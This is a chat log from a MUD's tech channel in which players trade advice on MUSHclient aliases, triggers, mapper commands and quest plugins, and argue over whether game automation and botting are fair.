T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: you could make the alias execute a mapper goto recall if you wanted
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: so it would portal/run if it knows
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: right
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: man that's a lot of steps tho lol
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: 2 steps
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: definitely easier than trying to add pausing and double checking in the mapper itself :p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: It's a complicated process what you're looking to do.  The only way else to do it is manually.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: i thought there was a way to make an alias wait for something to occur before it sends another command
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: No, there's not.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: there's a mapper wait function
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: yeap... been doing them manually and it's getting annoying heh
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, yes. Wait and then do or do not, no.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tormat Tech: thats called a trigger :P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: but iirc it doesn't care what happens i think
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Wait in mapper is ONLY for things like waiting for mobprogs to fire, etc
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The cost of a failure seems to me to be rather small - why not just take the potential hit of moving south and sleeping in a random room the 1/1000000 times it will happen and deal with that manually when the time comes?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: my command is not a simple "south".  it will involve recalling, going up the academy to the fountain, drink fountain, go to training room and train all my stats, then go back to campfire East of recall"
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: OR.. manually remember where you are and don't use the alias if you're in a norecall zone.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: but imagine if i recall in a no recall room and fail... i will move around so much that i might end up dying to an agro mob
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When you consider that a failure will *already* necessitate manual interaction as you are in a presumably norecall/noportal room
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Take care of the recalling manually, then use "mapper goto ###" instead of normal speedwalks
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Um, train all your stats? Yeah, you don't want to do that
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: the mapper "learns" norecall and noportal rooms whenever it's tried, and it will never try in those rooms again
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: it's actually handy to go to a norecall area and mapper goto somewhere that it would recall to help the mapper learn them
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: you can just spam recall/enter in those zones
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That doesn't turn a fail into a success Abelinc, it just means the failure might end up being no path, rather than norecall/noportal
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: why is mapper goto ### better?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: it flags them by trigger
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: than speedwalks
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: or runto
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: the mapper will automatically do that for you, though, red
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Because the mapper can figure out how to get to the rooms regardless of where you are
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: the mapper doesn't automatically do anything other than attempt recall or enter once
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: it will
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: it'll move and retry
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: no
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: If you're in a norecall room it knows about, yes it will
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: yea if it already knows you're in a norecall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: we're talking about flagging unknown rooms
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: FFS, we're walking in circles here
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: lol i think alias leading to a trig is the best way
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: and turning off trig afterwards
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Make it a once only trigger and it's automatic
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: It's not, but if you're satisfied with a simple solution, so be it.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: BUT... it wont run the trig everytime i enter the recall room manually right?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So long as the alias only enables it - but you just left simple aliases and entered scripting
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: if your trigger turns off, yes
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: The idea is to create an alias that turns the trigger on, sets to fire once, then tries to recall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: yes
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But really I would just use an alias you remember to only use at recall - get yourself there however you like, then hit a 'rest' alias or some such
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: i just want to avoid running around like a mad man in an agro zone when i'm low in health and need to recall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: I agree with Vakieh.  Manually doing the recall process is the best way
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A simple thing when you consider once you have a manor the whole argument disappears
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Use your own eyes to make sure you've recalled THEN use your rest.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: personally i just use a mapper goto and make an effort to flag norecall/port rooms whenever i see them :p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: bah... aliases are to help lessen the workload
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: removing that extra step
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: thanks for the instructions tho... everyone
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: The problem, Sylvex, is that we've given you the best solution but you refuse to learn how to implement it.  Good luck to ya.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: the mapper command?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: xaxz... mapper goto does not solve his solution
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: what was your solution xaxz?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: problem*
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Aliases will not help you here - this is scripting territory. As soon as you have the word 'decision', you either script, or have to hack a more difficult version with aliases and triggers
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: It does, you cut me off before I told him HOW to make it solve his solution.  So good luck to you teaching this guy.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: ...
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: So, you were going to help him, but because someone cut you off, you're going to refuse to help him?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: No, I can't get a word in edgewise without being cut off, which is only confusing him more, and therefore not worth the effort vs my patience.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: You know, quite recently (as in, like 16 years ago or so), there was this system put in that allows private communication without outside interruption. I forget the command, though. Something like... t? Oh! tell! :p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Shouldn't punish the guy trying to get help just because someone else interjects with their advice.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: I know where you're going with this Etzli, however trying to have a conversation with someone who is clearly in over their head WHILST they are being bombarded with conflicting arguments in another channel is not helpful.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: No, but I find it easier to discuss things in tells (and thusly pay attention) more than read tech. :p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Turie Tech: The better statement is to take one's own advice and move this to tells.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Book of Etzli pats Turie on his head.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: i'm curious now, what's your solution to guaranteeing you get to recall via mapper?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: me too
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: without using the mapper's detecting the norecall room issue
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Seems like it's more a case of 'ass vs. bigger ass' :p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: because right now, i'm discovering new rooms left and right...
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: My methods of teaching are quite a bit different then most tech related forums of learning.  Instead of just blurting out some function or script method, I walk people through understanding a few of the initial concepts.  I was getting at a way to make sure the second part (sleeping, etc) doesn't fire off before he was at a certain room, but I wanted him to understand the first part of it before stepping into something even more complicated.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: but i didnt want to do the 2nd part "sleep" every time i enter the room.  i only wanted to do the 2nd part ONLY if i recalled to that room
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: I know exactly what you wanted to do.  If you want my advice further, send me a tell.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: i walk around the recall room all the time so making me sleep everytime i'm passing by would not be beneficial
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Turie Tech: Thenote
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Turie Tech: bah
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Comanchee Tech: With bast's spellup plugin, is there a way to silence the casting of spells (similar to spellup silent)?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sepulchure Tech: does the latest non-Aardwolf MUSHclient have GMCP already or do I need to download it too?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Sepulchure faints.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Comanchee Tech: how do you get the mapper to keep an exit deleted?  After deleting an exit it just reappears again.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Instead of deleting the exit, rightclick your room in the mapper, set the level lock to something like 300
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: I assume you want it to never go through that exit?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}KingBatine Tech: is there anyone online that could help me set up a gaming pc?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: what do you mean by 'set up' ?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: there is this button, "power". push the button
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Six-String Strazor says 'Go Go Power Rangers!'
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Kilfer is filled with holy(?) (Super Secret Dwarf Power)!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: i need help with triggers
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: i want to create a trigger whenever either of my spells expire i want it to recast it automatically can anyone help?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: use spellup plugin instead
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: is that a download?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: jusy google the spellup plugin for your client
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: ahh o
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: ahh ok thanks
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Bast Tech: nuad: what client do you use?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: how do you create a script?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: do you code LUA?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: =( no...
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: No one codes LUA. It's Lua. *blink*
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: better start learning Lua first then
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Book of Etzli claps at Ayasinda's actions.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Umado Tech: doesnt have to be lua. lua is perhapes the easiest though
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lua, not LUA
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: nods, can also be js and vb
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Welcome to the afterparty, where you're always 5 minutes late.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Book of Etzli hugs Om Nom Nom Cheezburger.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: blame my crappy internet connection
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Umado Tech: cheezburgers take 5 min to cook
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: only a really crappy clam-cooked burger
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Ayasinda wonders if Om Nom Nom Cheezburger is lagged or just typing slowly?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: are there any plugins for global quests?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Hanslanda Tech: there are.  Or rather, I expect there to be, given that I made my own and pretty much anyone with a plugin-offering reputation of any sort certainly works a lot faster than I do.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: there are a number of plugins for GQs...some to pop up a message when there's a GQ in your range, some to hold a list of GQ targets, etc
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: finger winklewinkle.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: i have basts miniwin for gq's, but i was wondering if winkle has one, like for using the mapper
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: winkle's won't work for GQs like it does for campaigns without modification
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: but the parts of it that do things like the hunt trick will work
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: Nuanse nods at you in agreement. 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: winkle's will take the fun out of the game for you.  if you automate too much, you'll eventually get disconnected from the perceived success you think you're gaining from its use.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: and if you outright bot, you may as well not be playing at all.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: just a question...Why would bot care?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: I want to play on the same level as everyone else. Not using plugins like winkles for example is just a handicap.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: some of the bots seem to care when nuked. recreate, get mad, and sometimes bot again and get nuked again =p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: others just start calling the mud Iran and North Korea =p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: why Isafdar? Most people don't use them
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: N.Korea!!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: so you already are on the same level as almost everyone
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: well, he doesn't have over a decade of experience and area knowledge =p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: but he thinks to overcome that with a plugin
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: pure mushclient is botting!  Straight Telnet, or go home!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: i have a fair bit of area knowledge as far as mapping every where ive gone doing cps
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Can we go lower than telnet?  Machine code?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: mapping is good but it's not necesarily area knowledge. Can you get around without your mapper?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: I be puncharding my GQs
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Hanslanda Tech: the only way you're going to be able to play on the same level as most everyone else is to spend most of your time learning/studying the gameworld areas and somehow fitting in a manic schedule for extreme gold/qp/tp harvest so you can buy sufficient gear to take advantage of what the veterans are taking advantage of.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: OR you could just set your own goals and measure yourself against those instead of others :)
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: to be honest, outside of the lowest level ranges, tier power has a greater impact than some hunt trick plugin
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: with mushclient mapper, you're not at some tremendous disadvantage to winkle.  winkle just goes, in my opinion, several steps too far in terms of the automation.  and some folks can't help themselves but to make it go all the way too far.  when you cross those lines, it's no longer you who is winning, it's the machine.  and for most people, that'll lead to boredom.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Exactly Tyebald, it's like cheat codes for some games!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: but winkle scripts have lost many times in GQ's from the real good players
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: maybe at higher levels
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I've beaten players I believe to be winklebots.  and I wouldn't say I'm one of the better gqers.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: winklebot? new one for me lol
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: thank you for saying that Ayasinda and Tyebald... the plugins don't make you godlike...they help some people, but aren't that crazy
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: it is hard to beat winkle scripts, unless GQer just go for mobs in order
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: and yeah, I'd say cheat codes are a pretty good comparison.  set Doom in god-mode, and pretty soon you aren't playing Doom any more.  take off god-mode again, and it all becomes fun once more.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: true. they don't make you suddenly win all or even lots of  GQ's
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: well, you can do much more damaging botting with simple triggers...  I think it's a tool that can be used or abused like anything else
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: what is your opinion of 'runto' then
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: but the initial thing was that Isafdar wanted to be level with the majority of the players. He already is. Only a few use Winkle's scripts
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Hanslanda Tech: logically speaking, smart bot plus smart player is unbeatable except through pure luck considerations (lag, loss of connection, etc).
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: smart player doesn't bot.  logically-speaking.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: the one winkle plugin I like is the mapper extender which gives you thinks like xrt <areaname> rather than having to either alias the areas or know the name/number of a room in the area
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thats very true. that 1-2 seconds of typing is critical
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: smart bot = determines shortest path used to kill all gq mobs
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Hanslanda Tech: so much more than that, really.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: i agree with abe on this. it is a runto replacement that uses portals and shortcuts that has a huge impact on speed
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: and knowing which order to go in regardless of path length, based on repops
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: ^that
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: clean runs win gqs.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it never remembers the first room for me. even if I manually set it. keeps changing
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: I just use mapper goto #
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: xset doesn't set it for you, mokg?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it does... for an hour
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: then randomly changes to some other room
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: weird, first I'm hearing of anyone having that issue
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: but, this is all one-sided.  let's hear from the bots....
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Martini & Tyebald Tech: oh right.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: it seems something modifies mapper database
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: No!  I'm not a *beep* bot, it's just an elaborate *beep* script!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: You are relieved when Quadrapus explains that calling out room numbers is legal!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: ww's xrt is most powerful tool in mushclient for aard. it's just plain stupid that it's not in game or in client without all the other crap that comes with ww
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i'd use less of that ww's if the cp mobs get marked in the map.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: choose cleric oracle
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: ooo, Hwu, that's an idea:)
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oracles see them?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: spell focused vision
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: when they have that ability up
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Umado Tech: just get rid of the "where" command to fix it all:P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: that's actually why quest targets changed from [TARGET] to [QUEST]
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ok
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: anyway, to make GQ/CP harder it is enough to add "moving" flag to all mobs
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i'd use less ww's if there was an arrow, pointing to the direction of the cp mob:p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: hey, want to make your mapper more powerful? just write a script that checks rooms by note...roomnote assassin: underdark assassin lair, GO!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Trachx Tech: if is easier just to record where mob was killed
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Nuanse Tech: I know, it's a pain. Mush is too powerful
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Hanslanda Tech: it's not easier.  Most mobs wander, and while most of those generally don't wander far, you might decide to stop in a room where a mob will never reset.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: @abe, [TARGET] was changed to [QUEST] for ranged attacks, actually
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Honestly, getting rid of "where" will only kill winkle's scripts.  Not all.  Mob Databases will still work just fine.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Piffaron Tech: what if we just make Aard an MMORPG? that will fix it
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: duckbat's proxy includes a mob database ;-)
T3/r7/2013-10-23.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: so, here's an interesting one. i have a usb headset. when i have my volume set to 0, it still works in one of my usb ports, but not the other (faintly, but perfectly audible). it doesn't work at all when i mute the volume. any idea why? :P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: so it seems the aard mush tick timer has decided to no longer cooperate. Any advice on getting it workingagain? 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ontuct Tech: your connection might be the issue, if it is, they will sync again
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ontuct Tech: when my internet connection goes haywire, my ticks will go negative then stop then go amiss then correct.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: same here
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: yeah, see I don't get ticks at all now....I have....okay one second ill show you
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: http://imgur.com/byXv5JS
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: see, just....whatever that is 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: what if you restart mush?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: I tried it. No go. when i start back up it show "Ready" but the second i log it switches to that 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ayasinda Tech: then I dunno anymore. The only solution I have left is go and play WoW.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Lilleana Tech: LOL 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ontuct Tech: that isn't how mine generally fails, you have exhausted my knowledge set lol
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: now do i turn on <MAPEND> and all these commands that come on when i type 
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: sorry turn OFF
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ylar Tech: tags
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ylar Tech: will show a list of tags that will be displayed.  you can use 'tags off' to globally switch them all off at once.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Naud Tech: thanks!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Ylar Tech: If I understand your question correctly.. :)
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: note that turning tags off will cause many plugins to stop working or limit their features
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: but it's handy when you connect from a phone or other different client
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tigernuts Tech: did i hear right that Google are making much of the source for Android non-open source soon?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: google releases apps closed-source, different than the android OS
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: if I want to make a trigger for joining global quests, what would i look for to match?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Quadrapus Tech: You should not - they are illegal
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Quadrapus Tech: See help GQuest Rules
T3/r7/2013-10-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you can make a sound trigger, these are very legal and useful
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Quadrapus Tech: If you do join, and are not at the keyboard, it will be very obvious and you will get caught... people do watch these things. Just a heads up
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Quadrapus Tech: Yeah, sound alert is a great idea
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: ok so if im making a sound trigger, what would be the match
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: my sound trigger goes off of "Global Quest: See 'Help Global Quests', or, type 'Gquest Join' to take part." sans quotes, of course
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: ah thx
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: also, sorry to anyone who i just beeped, if applicable =p
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Isafdar Tech: ive been editing winkles s&d to work with gquests, i think that is legal
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Elchanan Tech: yea that would match my trigger line :P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: it's an important lesson, anchor your triggers!! It's faster that way anyways...you don't have to match much before you know it's the wrong line.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: nothing illegal about it, even if the community is not a big fan of it. i will still contend that real area knowledge and tactics that come with experience trump any hunt trick shenanigans
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Not that I should talk, I have a few floating around that are really old and not anchored.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Elchanan Tech: l
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Elchanan Tech: whats tha anchor for zmud anyways :P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Quadrapus Tech: ^/$
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Mr. Dash Tech: i only know mush's anchor is the ^
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: how come mapper goto works on command line but not when using an alias?
